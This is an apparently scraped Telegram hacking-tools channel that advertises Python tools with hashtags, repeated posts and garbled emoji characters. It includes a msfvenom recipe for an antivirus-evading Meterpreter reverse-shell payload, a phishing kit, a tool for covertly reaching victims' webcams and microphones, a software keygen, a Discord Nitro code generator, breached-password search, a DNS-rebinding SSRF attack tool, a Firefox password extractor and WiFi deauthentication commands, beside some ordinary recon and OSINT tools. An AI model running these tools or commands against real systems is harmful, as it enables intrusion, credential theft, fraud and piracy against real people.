A Tool With Attractive Capabilities.
Features:
โช๏ธ Obtain Device Information Without Any Permission !
โช๏ธ Access Location [SMARTPHONES]
โช๏ธ Access Webcam
โช๏ธ Access Microphone
GitHub
#Python #social_engineering_attacks #Tools
โโโโโโโโโโ
๐ค T.me/MRvirusIRBOT
๐ข T.me/BugCod3
Features:
โช๏ธ Obtain Device Information Without Any Permission !
โช๏ธ Access Location [SMARTPHONES]
โช๏ธ Access Webcam
โช๏ธ Access Microphone
GitHub
#Python #social_engineering_attacks #Tools
โโโโโโโโโโ
๐ค T.me/MRvirusIRBOT
๐ข T.me/BugCod3
โก2
Python Obfuscator for FUD Python Code.
Example: Creating FUD Meterpreter Python Payload
1. Generate Python Payload:
msfvenom --payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt
2. Obfuscate Payload
onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfuscated_payload.txt
GitHub
#Python #bypass_antivirus #FUD #Tools
โโโโโโโโโโ
๐ค T.me/MRvirusIRBOT
๐ข T.me/BugCod3
Example: Creating FUD Meterpreter Python Payload
1. Generate Python Payload:
msfvenom --payload python/meterpreter_reverse_http LHOST=... LPORT=... > payload.txt
2. Obfuscate Payload
onelinepy -m /one_line/base64 --script payload.txt -i 3 --output obfuscated_payload.txt
GitHub
#Python #bypass_antivirus #FUD #Tools
โโโโโโโโโโ
๐ค T.me/MRvirusIRBOT
๐ข T.me/BugCod3
A discord nitro generator and checker for all your nitro needs
It generates and checks discord nitro codes at the same time for maximum efficiency
To get a local copy up and running follow these simple steps.
You need to install Python, that can be done here
โ ~
python3.8 -m pip install -r requirements.txt
Run the
main.py file using py -3 main.py The code will show you two prompts:1. How many codes to generate
2. If you want to use a discord webhook, if you dont know how to get a discord webhook url it is located at
channel settings ยป intergrations ยป webhooks ยป create webhookIf you dont want to use a webhook simply leave this blank
The code will start generating and checking after that step
#Python #Generator #Checker #Discord #Nitro
Please open Telegram to view this post
VIEW IN TELEGRAM
โคโ๐ฅ4
Incredibly fast crawler designed for OSINT
Photon can extract the following data while crawling:
example.com/gallery.php?id=2)#Python #Crawler #Osint #Spider
Please open Telegram to view this post
VIEW IN TELEGRAM
๐2๐ฑ2โค1
Ultimate phishing tool in python. Includes popular websites like facebook, twitter, instagram, github, reddit, gmail and many others.
#Python #PyPhisher
Please open Telegram to view this post
VIEW IN TELEGRAM
I don't know how to make custom settings take effect in
Customizer mode directly.The only way I found is that you should export custom settings to a file named
MobaXterm customization.custom which is also a zip file. Then merge two zip file: Custom.mxtpro and MobaXterm customization.custom to Custom.mxtpro. Finally copy newly-generated Custom.mxtpro to MobaXterm's installation path../MobaXterm.exe -customizer
./MobaXterm-Keygen.py "DoubleSine" 10.9
BugCod3#Python #MobaXterm #Keygen #Tools
Please open Telegram to view this post
VIEW IN TELEGRAM
A python tool used to discover endpoints, potential parameters, and a target specific wordlist for a given target
waymore -mode R and also requesting URLs from waymore.txt and the original URLs from index.txt - see waymore README.md)cd xnLinkFinder
sudo python setup.py install
python xnLinkFinder.py --help
#specific target
python3 xnLinkFinder.py -i target.com -sf target.com
#list of URLs
python3 xnLinkFinder.py -i target_js.txt -sf target.com
BugCod3#Python #Discover #Endpoints
Please open Telegram to view this post
VIEW IN TELEGRAM
๐3โก2๐ฅ2โค1
NetProbe: Network Probe
๐ฌ
NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.
๐ Features:
โช๏ธ Scan for devices on a specified IP address or subnet
โช๏ธ Display the IP address, MAC address, manufacturer, and device model of discovered devices
โช๏ธ Live tracking of devices (optional)
โช๏ธ Save scan results to a file (optional)
โช๏ธ Filter by manufacturer (e.g., 'Apple') (optional)
โช๏ธ Filter by IP range (e.g., '192.168.1.0/24') (optional)
โช๏ธ Scan rate in seconds (default: 5) (optional)
๐ผ Installation:
๐ป Usage:
๐ Example:
๐ธ Github
โฌ๏ธ Download
๐
#Python #Network #Scanner #Vulnerability #Tools
โ โ โ โ โ โ โ โ โ โ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
NetProbe is a tool you can use to scan for devices on your network. The program sends ARP requests to any IP address on your network and lists the IP addresses, MAC addresses, manufacturers, and device models of the responding devices.
cd NetProbe
pip install -r requirements.txt
python3 netprobe.py โhelp
python3 netprobe.py -t 192.168.1.0/24 -i eth0 -o results.txt -l
BugCod3#Python #Network #Scanner #Vulnerability #Tools
Please open Telegram to view this post
VIEW IN TELEGRAM
โก4โค3๐ฅ1
10000 h1 disclosed reports
๐ฌ
On
๐ธ Github
โฌ๏ธ Download
๐
#Python #H1 #Report
โ โ โ โ โ โ โ โ โ โ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
On
31st Dec 2023, I made it my goal to read 10,000 H1 Reports in 2024 Q1 (i.e. first 3 months) to really understand deep down what kind of bugs are being reported, accepted, or rejected and how exactly I should approach my journey in #bugbounty. Also, I thought, there was no better resource than actual disclosed bug reports. Later I decided to cap my goal at *5000* because I think I nailed the common pattern and already accomplished what I wanted to get out of it.BugCod3#Python #H1 #Report
Please open Telegram to view this post
VIEW IN TELEGRAM
โก3โค2๐ฅ1๐ฏ1
LeakSearch is a simple tool to search and parse plain text passwords using ProxyNova COMB (Combination Of Many Breaches) over the Internet. You can define a custom proxy and you can also use your own password file, to search using different keywords: such as user, domain or password.
In addition, you can define how many results you want to display on the terminal and export them as JSON or TXT files. Due to the simplicity of the code, it is very easy to add new sources, so more providers will be added in the future.
Requirements:
pip install -r requirements.txtLeakSearch.py [-h] [-d DATABASE] [-k KEYWORD] [-n NUMBER] [-o OUTPUT] [-p PROXY]BugCod3#Python #Search #Parse #Password
Please open Telegram to view this post
VIEW IN TELEGRAM
๐ฅ3โค2โก1๐1๐ฏ1
java2S3 Amazon S3 Bucket Enumeration Tool
Introduction:
This Python script automates the enumaration of S3 Buckets referenced in a subdomain's javascript files. This allows the bug bounty hunter to check for security misconfigurations and pentest Amazon S3 Buckets.
Features:
โช๏ธ Fetches HTTP status codes for subdomains
โช๏ธ Retrieves JavaScript URLs associated with each subdomain
โช๏ธ Identifies Amazon S3 buckets in the content
Getting Started:
Prerequisites:
Python 3.x
Install required libraries:
Usage:
Create a text file (
Github
โฌ๏ธ Download
๐
#Python #Amazon #S3 #Buckets
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
Introduction:
This Python script automates the enumaration of S3 Buckets referenced in a subdomain's javascript files. This allows the bug bounty hunter to check for security misconfigurations and pentest Amazon S3 Buckets.
Features:
โช๏ธ Fetches HTTP status codes for subdomains
โช๏ธ Retrieves JavaScript URLs associated with each subdomain
โช๏ธ Identifies Amazon S3 buckets in the content
Getting Started:
Prerequisites:
Python 3.x
Install required libraries:
pip install requests
Usage:
Create a text file (
input.txt) containing a list of subdomains (one per line).python js2s3.py input.txt example.com output.txt
Github
โฌ๏ธ Download
๐
BugCod3#Python #Amazon #S3 #Buckets
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
โก2โค1๐ฅ1
httprebind
Automatic tool for DNS rebinding-based SSRF attacks
Installation:
Usage:
Where
Make sure you point your domain's nameservers to the server indicated by serverIp, and that that IP is the external address of the server, IPv4.
Github
โฌ๏ธ Download
๐
#Python #DNS #SSRF #Attack
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
Automatic tool for DNS rebinding-based SSRF attacks
Installation:
sudo pip install dnslib flask flask_cors
Usage:
sudo python httprebind.py domain.name serverIp mode
Where
mode is one of: ec2, ecs, gcloudMake sure you point your domain's nameservers to the server indicated by serverIp, and that that IP is the external address of the server, IPv4.
Github
โฌ๏ธ Download
๐
BugCod3#Python #DNS #SSRF #Attack
โโโโโโโโโโ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
โก1โค1๐ฅ1
Form Finder
This script can be used to find HTML forms in the list of endpoints/URLs.
Usage:
๐ธ Github
โฌ๏ธ Donwload
๐
#Python #Form #Finder
โ โ โ โ โ โ โ โ โ โ
๐ค T.me/BugCod3BOT
โ T.me/BugCod3Topic
๐ฃ T.me/BugCod3
This script can be used to find HTML forms in the list of endpoints/URLs.
Usage:
python3 formfinder.py endpoints.txt
BugCod3#Python #Form #Finder
Please open Telegram to view this post
VIEW IN TELEGRAM
๐ฅ3โก2โค1๐1
This is a python wrapper around the amazing KNOXSS API by Brute Logic. To use this tool (and the underlying API), you must have a valid KNOXSS API key. Don't have one? Go visit
https://knoxss.me and subscribe! This was inspired by the "knoxssme" tool by @edoardottt2, but developed to allow for greater options.NOTE: If you already have a `config.yml` file, it will not be overwritten. The file `config.yml.NEW` will be created in the same directory. If you need the new config, remove `config.yml` and rename `config.yml.NEW` back to `config.yml`.
pip install knoxnl
knoxnl -i "https://brutelogic.com.br/xss.php"
Or a file of URLs:
knoxnl -i ~/urls.txt
BugCod3#Python #Scanner #XSS #Knoxnl
Please open Telegram to view this post
VIEW IN TELEGRAM
๐ฅ3โก2โค1
This media is not supported in your browser
VIEW IN TELEGRAM
๐ต๏ธโโ๏ธ Human-like Behavior Mimicking: To mimic human-like behavior and avoid detection by anti-bot mechanisms, the tool randomizes user agents for each request. This helps in making the requests appear more natural and reduces the likelihood of being flagged as automated activity.
cd Ominis-Osint
pip install -r requirements.txt
python3 Ominis.py
BugCod3#Python #Osint #Search #Engin #Tools
Please open Telegram to view this post
VIEW IN TELEGRAM
โก3๐ฅ3โค2๐1
excludeparked
๐ฌ
A lightweight Python 3 script that filters out parked HTTP domains from a list of domains. Useful when pulling a list of domains from a reverse WHOIS lookup service (from a tool such as WHOXY).
This was tested on a list of 100k parked domains but it's subject to improvement as this tool is intended to be a rough method of filtering down thousands of domains in the recon phase of a pentest.
๐ผ Install:
๐ป Usage:
๐ธ Github
โฌ๏ธ Download
๐
#Python #Parked #Domain
โ โ โ โ โ โ โ โ โ โ
๐ค T.me/BugCod3BOT
๐ฃ T.me/BugCod3
A lightweight Python 3 script that filters out parked HTTP domains from a list of domains. Useful when pulling a list of domains from a reverse WHOIS lookup service (from a tool such as WHOXY).
This was tested on a list of 100k parked domains but it's subject to improvement as this tool is intended to be a rough method of filtering down thousands of domains in the recon phase of a pentest.
cd excludeparked
pip install -r requirements.txt
python3 ./excludeparked.py -h
BugCod3#Python #Parked #Domain
Please open Telegram to view this post
VIEW IN TELEGRAM
โค2๐ฅ2โก1๐1
WiFi Penetration Testing & Auditing Tool
Freeway is a Python scapy-based tool for WiFi penetration that aim to help ethical hackers and pentesters develop their skills and knowledge in auditing and securing home or enterprise networks.
PIP:
sudo pip install 3way
Manually:
cd Freeway
sudo pip install .
#1 sudo Freeway
#2 sudo Freeway -i wlan2 -a monitor -p 1,2,a
#3 sudo Freeway -i wlan2 -a deauth
BugCod3#Python #Wifi #Pentesting
Please open Telegram to view this post
VIEW IN TELEGRAM
โค3๐3โก2๐ฅ2
Firefox Decrypt
๐ฌ
Firefox Decrypt is a tool to extract passwords from Mozilla (Firefoxโข, Waterfoxโข, Thunderbirdยฎ, SeaMonkeyยฎ) profiles
๐ป Usage:
Github
โฌ๏ธ Download
๐
#Python #Firefox #Extract #Password #Tools
โโโโโโโโโโ
๐ฃ T.me/Root_Exploit
๐ฃ T.me/BugCod3
๐ฌ
Firefox Decrypt is a tool to extract passwords from Mozilla (Firefoxโข, Waterfoxโข, Thunderbirdยฎ, SeaMonkeyยฎ) profiles
๐ป Usage:
cd firefox_decrypt
python firefox_decrypt.py
Github
โฌ๏ธ Download
๐
BugCod3#Python #Firefox #Extract #Password #Tools
โโโโโโโโโโ
๐ฃ T.me/Root_Exploit
๐ฃ T.me/BugCod3
โก4โค3๐ฅ3